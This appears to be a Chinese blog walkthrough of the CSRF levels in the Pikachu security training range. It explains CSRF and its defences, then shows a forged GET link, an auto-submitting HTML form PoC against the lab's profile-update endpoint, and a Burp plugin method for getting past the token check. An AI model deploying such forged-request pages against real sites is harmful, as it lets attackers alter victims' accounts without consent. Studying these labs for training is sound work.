Pikachu 靶场 CSRF 通关解析

前言

Pikachu靶场是一种常见的网络安全训练平台,用于模拟真实世界中的网络攻击和防御场景。它提供了一系列的实验室环境,供安全专业人士、学生和爱好者练习和测试他们的技能。

Pikachu靶场的目的是帮助用户了解和掌握网络攻击的原理和技术,同时提供实践机会来开发和改进网络防御策略。靶场内的网络环境是虚拟的,用户可以通过远程访问来完成各种任务。这些任务可能包括渗透测试、漏洞利用、密码破解、网络侦查、恶意软件分析等。

Pikachu靶场提供了多个不同的实验室环境,以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标,用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导,以帮助用户理解每个实验室的背景知识和解决方案。

通过在Pikachu靶场进行训练,用户可以提高自己的网络安全技能,了解常见的攻击技术和漏洞,并学习如何防御和保护网络。这对于网络管理员、渗透测试人员和安全研究人员来说都是非常有价值的。

总而言之,Pikachu靶场是一个提供实践机会的网络安全训练平台,旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源,可以帮助用户更好地应对日益增长的网络安全威胁。

介绍

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web应用程序安全漏洞,它允许攻击者在用户不知情的情况下以受害者的身份执行未经授权的操作。

CSRF攻击利用了Web应用程序对用户的信任。攻击者通过诱使用户访问恶意网站或点击恶意链接,使受害者在已登录的状态下访问目标网站。然后,攻击者利用受害者的身份在目标网站上执行恶意请求,例如转账、更改密码或删除数据。

以下是CSRF攻击的一般工作流程

  1. 受害者登录:受害者在目标网站上进行登录,并获得有效的会话凭证。

  2. 攻击者构造恶意请求:攻击者在恶意网站上构造一个包含目标网站请求的恶意请求,例如转账请求。

  3. 诱使受害者访问恶意请求:攻击者通过各种手段诱使受害者访问恶意网站,例如通过发送钓鱼邮件、社交媒体诱导等。

  4. 自动执行恶意请求:由于受害者在目标网站上已经登录,浏览器会自动发送恶意请求,并在受害者不知情的情况下执行。

为了防止CSRF攻击,可以采取以下一些防御措施

  1. 随机令牌:在每个表单提交或敏感操作中,为用户生成一个随机的、单次使用的令牌(CSRF Token)。在提交请求时,验证令牌的有效性,确保请求来源于合法的用户会话。

  2. SameSite Cookie属性:使用SameSite Cookie属性来限制Cookie在跨站请求中的发送,可以阻止许多CSRF攻击。

  3. 验证来源(Referer)头:通过验证请求的Referer头,确保请求来自合法的来源网站。但需要注意,Referer头并不是100%可靠,因为某些浏览器或代理可能会修改或删除该头。

  4. 双重身份验证(2FA):为用户提供双重身份验证机制,例如短信验证码、身份验证应用程序等,以增加账户安全性。

  5. 安全编程实践:开发人员应该遵循安全编程实践,包括对用户输入进行验证和过滤、使用适当的授权和身份验证机制等。

需要注意的是,CSRF攻击的影响范围取决于目标网站的功能和用户的权限。为了保护Web应用程序免受CSRF攻击,开发人员和网站管理员应该了解和实施适当的防御措施。

一、CSRF(get)

打开靶场点击提示给出了用户账号及密码

登录进去后可以看到一个修改个人信息

打开 BurpSuite 抓包随便更改一个数值(如手机号更改为 120)

找到了更改的值,作为攻击者可以复制这条请求然后在另一个页面打开

例如构造一条将手机号改为 12315 的请求

访问后成功更改了手机号

那么就可以利用这条链接在第三方网站生成一个短链接诱导受害者去点击也可以使用 BurpSuite 专业版生成 CSRF Poc

二、CSRF(post)

同理登录进去然后点击修改个人信息

也是随便更改一个数值,然后打开 BurpSuite 抓包

找到了更改的值

因为是 POST 请求所以需要自己构造一个网页使其用户点击链接后通过表单提交实现 CSRF

BurpSuite 专业版可以直接生成 CSRF PoC 更方便)

html 复制代码
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:8848/vul/csrf/csrfpost/csrf_post.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="kobe@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

需要将这段代码部署在攻击者服务器上诱导受害者点击即可

三、CSRF(token)

这一关增加了 Token,但还是有办法的

首先在 BurpSuite 中下载插件 CSRF Token Tracker

然后将包发送到重放模块(Repeater)

注意:同时开启跟随重定向

接着在 CSRF Token Tracker 模块中填写 Host 地址(可以参考数据包中的 Host 值)及 Token 的参数名称(也是参考数据包)然后勾选两个选项

注意:后面的值是成功后的 Token 值,刚开始是没有的

做好以上步骤后就可以在重放模块中随意更改参数了,例如:

性别:man

修改为性别 girl

相关推荐
代码改变世界ctw1 小时前
如何学习Trustzone
安全·trustzone·atf·optee·tee·armv8·armv9
cwj&xyp1 小时前
Python(二)str、list、tuple、dict、set
前端·python·算法
dlnu20152506222 小时前
ssr实现方案
前端·javascript·ssr
古木20192 小时前
前端面试宝典
前端·面试·职场和发展
gywl3 小时前
openEuler VM虚拟机操作(期末考试)
linux·服务器·网络·windows·http·centos
轻口味3 小时前
命名空间与模块化概述
开发语言·前端·javascript
WTT00114 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
前端小小王4 小时前
React Hooks
前端·javascript·react.js
迷途小码农零零发4 小时前
react中使用ResizeObserver来观察元素的size变化
前端·javascript·react.js